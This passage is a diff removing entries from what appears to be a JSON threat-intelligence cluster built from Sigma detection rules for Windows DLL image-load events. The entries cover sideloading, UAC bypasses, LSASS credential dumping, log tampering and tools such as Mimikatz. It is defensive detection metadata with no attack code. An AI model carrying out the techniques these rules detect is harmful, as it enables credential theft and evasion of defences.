"logsource.product": "windows" - } - }, - { - "description": "Detects DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc", - "uuid": "552b6b65-df37-4d3e-a258-f2fc4771ae54", - "value": "Antivirus Software DLL Sideloading", - "meta": { - "refs": [ - "https://hijacklibs.net/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_antivirus.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.001", - "attack.t1574.002" - ], - "creation_date": "2022/08/17", - "filename": "image_load_side_load_antivirus.yml", - "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", - "level": "medium", - "falsepositive": [ - "Applications that load the same dlls mentioned in the detection section. Investigate them and filter them out if a lot FPs are caused.", - "Dell SARemediation plugin folder (C:\\Program Files\\Dell\\SARemediation\\plugin\\log.dll) is known to contain the 'log.dll' file.", - "The Canon MyPrinter folder 'C:\\Program Files\\Canon\\MyPrinter\\' is known to contain the 'log.dll' file" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects DLL sideloading of \"dbgcore.dll\"", - "uuid": "9ca2bf31-0570-44d8-a543-534c47c33ed7", - "value": "DLL Sideloading Of DBGCORE.DLL", - "meta": { - "refs": [ - "https://hijacklibs.net/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbgcore_dll.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.001", - "attack.t1574.002" - ], - "creation_date": "2022/10/25", - "filename": "image_load_side_load_dbgcore_dll.yml", - "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", - "level": "medium", - "falsepositive": [ - "Legitimate applications loading their own versions of the DLL mentioned in this rule" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects DLL sideloading of \"dbghelp.dll\"", - "uuid": "6414b5cd-b19d-447e-bb5e-9f03940b5784", - "value": "DLL Sideloading Of DBGHELP.DLL", - "meta": { - "refs": [ - "https://hijacklibs.net/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.001", - "attack.t1574.002" - ], - "creation_date": "2022/10/25", - "filename": "image_load_side_load_dbghelp_dll.yml", - "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", - "level": "medium", - "falsepositive": [ - "Legitimate applications loading their own versions of the DLL mentioned in this rule" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64...)", - "uuid": "4fc0deee-0057-4998-ab31-d24e46e0aba4", - "value": "System DLL Sideloading From Non System Locations", - "meta": { - "refs": [ - "https://hijacklibs.net/", - "https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/", - "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", - "https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_from_non_system_location.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.001", - "attack.t1574.002" - ], - "creation_date": "2022/08/14", - "filename": "image_load_side_load_from_non_system_location.yml", - "author": "Nasreddine Bencherchali, Wietze Beukema (project and research), Chris Spehn (research WFH Dridex), XForceIR (SideLoadHunter Project)", - "level": "medium", - "falsepositive": [ - "Legitimate applications loading their own versions of the DLLs mentioned in this rule" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location", - "uuid": "829a3bdf-34da-4051-9cf4-8ed221a8ae4f", - "value": "Microsoft Office DLL Sideload", - "meta": { - "refs": [ - "https://hijacklibs.net/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_office_dlls.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.001", - "attack.t1574.002" - ], - "creation_date": "2022/08/17", - "filename": "image_load_side_load_office_dlls.yml", - "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", - "level": "medium", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc)", - "uuid": "f9df325d-d7bc-4a32-8a1a-2cc61dcefc63", - "value": "Third Party Software DLL Sideloading", - "meta": { - "refs": [ - "https://hijacklibs.net/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_third_party.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.001", - "attack.t1574.002" - ], - "creation_date": "2022/08/17", - "filename": "image_load_side_load_third_party.yml", - "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects DLL sideloading of DLLs that are part of web browsers", - "uuid": "72ca7c75-bf85-45cd-aca7-255d360e423c", - "value": "Web Browsers DLL Sideloading", - "meta": { - "refs": [ - "https://hijacklibs.net/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_web_browsers.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.001", - "attack.t1574.002" - ], - "creation_date": "2022/08/17", - "filename": "image_load_side_load_web_browsers.yml", - "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects SILENTTRINITY stager use", - "uuid": "75c505b1-711d-4f68-a357-8c3fe37dbf2d", - "value": "SILENTTRINITY Stager Execution", - "meta": { - "refs": [ - "https://github.com/byt3bl33d3r/SILENTTRINITY", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_silenttrinity_stage_use.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071" - ], - "creation_date": "2019/10/22", - "filename": "image_load_silenttrinity_stage_use.yml", - "author": "Aleksey Potapov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detect DLL Load from Spooler Service backup folder", - "uuid": "02fb90de-c321-4e63-a6b9-25f4b03dfd14", - "value": "Windows Spooler Service Suspicious Binary Load", - "meta": { - "refs": [ - "https://github.com/hhlxf/PrintNightmare", - "https://github.com/ly4k/SpoolFool", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_spoolsv_dll_load.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574", - "cve.2021.1675", - "cve.2021.34527" - ], - "creation_date": "2021/06/29", - "filename": "image_load_spoolsv_dll_load.yml", - "author": "FPT.EagleEye, Thomas Patzke (improvements)", - "level": "informational", - "falsepositive": [ - "Loading of legitimate driver" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the load of advapi31.dll by a process running in an uncommon folder", - "uuid": "d813d662-785b-42ca-8b4a-f7457d78d5a9", - "value": "Suspicious Load of Advapi31.dll", - "meta": { - "refs": [ - "https://github.com/hlldz/Phant0m", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_advapi32_dll.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070" - ], - "creation_date": "2022/02/03", - "filename": "image_load_susp_advapi32_dll.yml", - "author": "frack113", - "level": "informational", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects cmstp loading \"dll\" or \"ocx\" files from suspicious locations", - "uuid": "75e508f7-932d-4ebc-af77-269237a84ce1", - "value": "Cmstp Suspicious DLL Load", - "meta": { - "refs": [ - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/TTPs/Defense%20Evasion/T1218%20-%20Signed%20Binary%20Proxy%20Execution/T1218.003%20-%20CMSTP/Procedures.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_cmstp.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.003" - ], - "creation_date": "2022/08/30", - "filename": "image_load_susp_cmstp.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unikely" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes.\nTools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll.\nAs an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.\n", - "uuid": "0e277796-5f23-4e49-a490-483131d4f6e1", - "value": "Load of dbghelp/dbgcore DLL from Suspicious Process", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump", - "https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html", - "https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_dbghelp_dbgcore_load.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2019/10/27", - "filename": "image_load_susp_dbghelp_dbgcore_load.yml", - "author": "Perez Diego (@darkquassar), oscd.community, Ecco", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects when a system process (ie located in system32, syswow64...etc) loads a DLL from a suspicious location such as %temp%", - "uuid": "9e9a9002-56c4-40fd-9eff-e4b09bfa5f6c", - "value": "DLL Load By System Process From Suspicious Locations", - "meta": { - "refs": [ - "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC (Idea)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_dll_load_system_process.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070" - ], - "creation_date": "2022/07/17", - "filename": "image_load_susp_dll_load_system_process.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.", - "uuid": "828af599-4c53-4ed2-ba4a-a9f835c434ea", - "value": "Fax Service DLL Search Order Hijack", - "meta": { - "refs": [ - "https://windows-internals.com/faxing-your-way-to-system/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_fax_dll.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1574.001", - "attack.t1574.002" - ], - "creation_date": "2020/05/04", - "filename": "image_load_susp_fax_dll.yml", - "author": "NVISO", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects any assembly DLL being loaded by an Office Product", - "uuid": "ff0f2b05-09db-4095-b96d-1b75ca24894a", - "value": "dotNET DLL Loaded Via Office Applications", - "meta": { - "refs": [ - "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_assembly_dll_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ], - "creation_date": "2020/02/19", - "filename": "image_load_susp_office_dotnet_assembly_dll_load.yml", - "author": "Antonlovesdnb", - "level": "high", - "falsepositive": [ - "Alerts on legitimate macro usage as well, will need to filter as appropriate" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects CLR DLL being loaded by an Office Product", - "uuid": "d13c43f0-f66b-4279-8b2c-5912077c1780", - "value": "CLR DLL Loaded Via Office Applications", - "meta": { - "refs": [ - "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_clr_dll_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ], - "creation_date": "2020/02/19", - "filename": "image_load_susp_office_dotnet_clr_dll_load.yml", - "author": "Antonlovesdnb", - "level": "high", - "falsepositive": [ - "Alerts on legitimate macro usage as well, will need to filter as appropriate" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects any GAC DLL being loaded by an Office Product", - "uuid": "90217a70-13fc-48e4-b3db-0d836c5824ac", - "value": "GAC DLL Loaded Via Office Applications", - "meta": { - "refs": [ - "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_gac_dll_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ], - "creation_date": "2020/02/19", - "filename": "image_load_susp_office_dotnet_gac_dll_load.yml", - "author": "Antonlovesdnb", - "level": "high", - "falsepositive": [ - "Alerts on legitimate macro usage as well, will need to filter as appropriate" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects DSParse DLL being loaded by an Office Product", - "uuid": "a2a3b925-7bb0-433b-b508-db9003263cc4", - "value": "Active Directory Parsing DLL Loaded Via Office Applications", - "meta": { - "refs": [ - "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dsparse_dll_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ], - "creation_date": "2020/02/19", - "filename": "image_load_susp_office_dsparse_dll_load.yml", - "author": "Antonlovesdnb", - "level": "high", - "falsepositive": [ - "Alerts on legitimate macro usage as well, will need to filter as appropriate" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects Kerberos DLL being loaded by an Office Product", - "uuid": "7417e29e-c2e7-4cf6-a2e8-767228c64837", - "value": "Active Directory Kerberos DLL Loaded Via Office Applications", - "meta": { - "refs": [ - "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_kerberos_dll_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ], - "creation_date": "2020/02/19", - "filename": "image_load_susp_office_kerberos_dll_load.yml", - "author": "Antonlovesdnb", - "level": "high", - "falsepositive": [ - "Alerts on legitimate macro usage as well, will need to filter as appropriate" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the image load of Python Core indicative of a Python script bundled with Py2Exe.", - "uuid": "cbb56d62-4060-40f7-9466-d8aaf3123f83", - "value": "Python Py2Exe Image Load", - "meta": { - "refs": [ - "https://www.py2exe.org/", - "https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_python_image_load.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.002" - ], - "creation_date": "2020/05/03", - "filename": "image_load_susp_python_image_load.yml", - "author": "Patrick St. John, OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "Legitimate Py2Exe Binaries", - "Known false positive caused with Python Anaconda" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects CLR DLL being loaded by an scripting applications", - "uuid": "4508a70e-97ef-4300-b62b-ff27992990ea", - "value": "CLR DLL Loaded Via Scripting Applications", - "meta": { - "refs": [ - "https://github.com/tyranid/DotNetToJScript", - "https://thewover.github.io/Introducing-Donut/", - "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.t1055" - ], - "creation_date": "2020/10/14", - "filename": "image_load_susp_script_dotnet_clr_dll_load.yml", - "author": "omkar72, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "A General detection for processes loading System.Drawing.ni.dll. This could be an indicator of potential Screen Capture.", - "uuid": "666ecfc7-229d-42b8-821e-1a8f8cb7057c", - "value": "Suspicious System.Drawing Load", - "meta": { - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/16", - "https://threathunterplaybook.com/evals/apt29/detections/7.A.1_3B4E5808-3C71-406A-B181-17B0CE3178C9.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_system_drawing_load.yml" - ], - "tags": [ - "attack.collection", - "attack.t1113" - ], - "creation_date": "2020/05/02", - "filename": "image_load_susp_system_drawing_load.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects Loading of samlib.dll, WinSCard.dll from untypical process e.g. through process hollowing by Mimikatz", - "uuid": "e32ce4f5-46c6-4c47-ba69-5de3c9193cd7", - "value": "Possible Process Hollowing Image Loading", - "meta": { - "refs": [ - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_uncommon_image_load.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2018/01/07", - "filename": "image_load_susp_uncommon_image_load.yml", - "author": "Markus Neis", - "level": "high", - "falsepositive": [ - "Very likely, needs more tuning" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the image load of VSS DLL by uncommon executables", - "uuid": "37774c23-25a1-4adb-bb6d-8bb9fd59c0f8", - "value": "Image Load of VSS Dll by Uncommon Executable", - "meta": { - "refs": [ - "https://github.com/ORCx41/DeleteShadowCopies", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_vss_dll_load.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.impact", - "attack.t1490" - ], - "creation_date": "2022/10/31", - "filename": "image_load_susp_vss_dll_load.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the image load of vss_ps.dll by uncommon executables", - "uuid": "333cdbe8-27bb-4246-bf82-b41a0dca4b70", - "value": "Image Load of VSS_PS.dll by Uncommon Executable", - "meta": { - "refs": [ - "https://www.virustotal.com/gui/file/ba88ca45589fae0139a40ca27738a8fc2dfbe1be5a64a9558f4e0f52b35c5add", - "https://twitter.com/am0nsec/status/1412232114980982787", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_vss_ps_load.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.impact", - "attack.t1490" - ], - "creation_date": "2021/07/07", - "filename": "image_load_susp_vss_ps_load.yml", - "author": "Markus Neis, @markus_neis", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects DLL's Loaded Via Word Containing VBA Macros", - "uuid": "e6ce8457-68b1-485b-9bdd-3c2b5d679aa9", - "value": "VBA DLL Loaded Via Microsoft Word", - "meta": { - "refs": [ - "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_winword_vbadll_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ], - "creation_date": "2020/02/19", - "filename": "image_load_susp_winword_vbadll_load.yml", - "author": "Antonlovesdnb", - "level": "high", - "falsepositive": [ - "Alerts on legitimate macro usage as well, will need to filter as appropriate" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\\Windows\\System32\\ by default.\nAn attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services \"svchost.exe -k netsvcs\" to gain code execution on a remote machine.\n", - "uuid": "602a1f13-c640-4d73-b053-be9a2fa58b77", - "value": "Svchost DLL Search Order Hijack", - "meta": { - "refs": [ - "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_svchost_dll_search_order_hijack.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1574.002", - "attack.t1574.001" - ], - "creation_date": "2019/10/28", - "filename": "image_load_svchost_dll_search_order_hijack.yml", - "author": "SBousseaden", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool to tamper with Windows event logs", - "uuid": "49329257-089d-46e6-af37-4afce4290685", - "value": "SharpEvtMute EvtMuteHook Load", - "meta": { - "refs": [ - "https://github.com/bats3c/EvtMute", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_sysmon_disable_sharpevtmute.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ], - "creation_date": "2022/09/07", - "filename": "image_load_sysmon_disable_sharpevtmute.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Other DLLs with that import hash" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", - "uuid": "e76c8240-d68f-4773-8880-5c6f63595aaf", - "value": "Time Travel Debugging Utility Usage", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", - "https://twitter.com/mattifestation/status/1196390321783025666", - "https://twitter.com/oulusoyum/status/1191329746069655553", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_tttracer_mod_load.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.credential_access", - "attack.t1218", - "attack.t1003.001" - ], - "creation_date": "2020/10/06", - "filename": "image_load_tttracer_mod_load.yml", - "author": "Ensar \u015eamil, @sblmsrsn, @oscd_initiative", - "level": "high", - "falsepositive": [ - "Legitimate usage by software developers/testers" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the \"iscsicpl.exe\" UAC bypass technique that leverages a DLL Search Order hijacking technique to load a custom DLL's from temp or a any user controlled location in the users %PATH%", - "uuid": "9ed5959a-c43c-4c59-84e3-d28628429456", - "value": "UAC Bypass Using Iscsicpl - ImageLoad", - "meta": { - "refs": [ - "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC", - "https://twitter.com/wdormann/status/1547583317410607110", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_iscsicpl.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2022/07/17", - "filename": "image_load_uac_bypass_iscsicpl.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Attempts to load dismcore.dll after dropping it", - "uuid": "a5ea83a7-05a5-44c1-be2e-addccbbd8c03", - "value": "UAC Bypass With Fake DLL", - "meta": { - "refs": [ - "https://steemit.com/utopian-io/@ah101/uac-bypassing-utility", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_via_dism.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002", - "attack.t1574.002" - ], - "creation_date": "2020/10/06", - "filename": "image_load_uac_bypass_via_dism.yml", - "author": "oscd.community, Dmitry Uchakin", - "level": "high", - "falsepositive": [ - "Actions of a legitimate telnet client" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects potential use of UIPromptForCredentials functions by looking for some of the DLLs needed for it.", - "uuid": "9ae01559-cf7e-4f8e-8e14-4c290a1b4784", - "value": "UIPromptForCredentials DLLs", - "meta": { - "refs": [ - "https://securitydatasets.com/notebooks/small/windows/06_credential_access/SDWIN-201020013208.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password", - "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-creduipromptforcredentialsa", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uipromptforcreds_dlls.yml" - ], - "tags": [ - "attack.credential_access", - "attack.collection", - "attack.t1056.002" - ], - "creation_date": "2020/10/20", - "filename": "image_load_uipromptforcreds_dlls.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "Other legitimate processes loading those DLLs in your environment." - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Loading unsigned image (DLL, EXE) into LSASS process", - "uuid": "857c8db3-c89b-42fb-882b-f681c7cf4da2", - "value": "Unsigned Image Loaded Into LSASS Process", - "meta": { - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_unsigned_image_loaded_into_lsass.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2019/10/22", - "filename": "image_load_unsigned_image_loaded_into_lsass.yml", - "author": "Teymur Kheirkhabarov, oscd.community", - "level": "medium", - "falsepositive": [ - "Valid user connecting using RDP" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances", - "uuid": "33a2d1dd-f3b0-40bd-8baf-7974468927cc", - "value": "APT PRIVATELOG Image Load Pattern", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_usp_svchost_clfsw32.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ], - "creation_date": "2021/09/07", - "filename": "image_load_usp_svchost_clfsw32.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Rarely observed" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects loading of a DLL by the VMware Xfer utility from the non-default directory which may be an attempt to sideload arbitrary DLL", - "uuid": "9313dc13-d04c-46d8-af4a-a930cc55d93b", - "value": "VMware Xfer Loading DLL from Nondefault Path", - "meta": { - "refs": [ - "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_vmware_xfer_load_dll_from_nondefault_path.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2022/08/02", - "filename": "image_load_vmware_xfer_load_dll_from_nondefault_path.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc).", - "uuid": "06ce37c2-61ab-4f05-9ff5-b1a96d18ae32", - "value": "WMIC Loading Scripting Libraries", - "meta": { - "refs": [ - "https://securitydatasets.com/notebooks/small/windows/05_defense_evasion/SDWIN-201017061100.html", - "https://twitter.com/dez_/status/986614411711442944", - "https://lolbas-project.github.io/lolbas/Binaries/Wmic/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1220" - ], - "creation_date": "2020/10/17", - "filename": "image_load_wmic_remote_xsl_scripting_dlls.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "The command wmic os get lastboottuptime loads vbscript.dll", - "The command wmic os get locale loads vbscript.dll", - "Since the ImageLoad event doesn't have enough information in this case. It's better to look at the recent process creation events that spawned the WMIC process and investigate the command line and parent/child processes to get more insights" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", - "uuid": "7707a579-e0d8-4886-a853-ce47e4575aaa", - "value": "Wmiprvse Wbemcomn 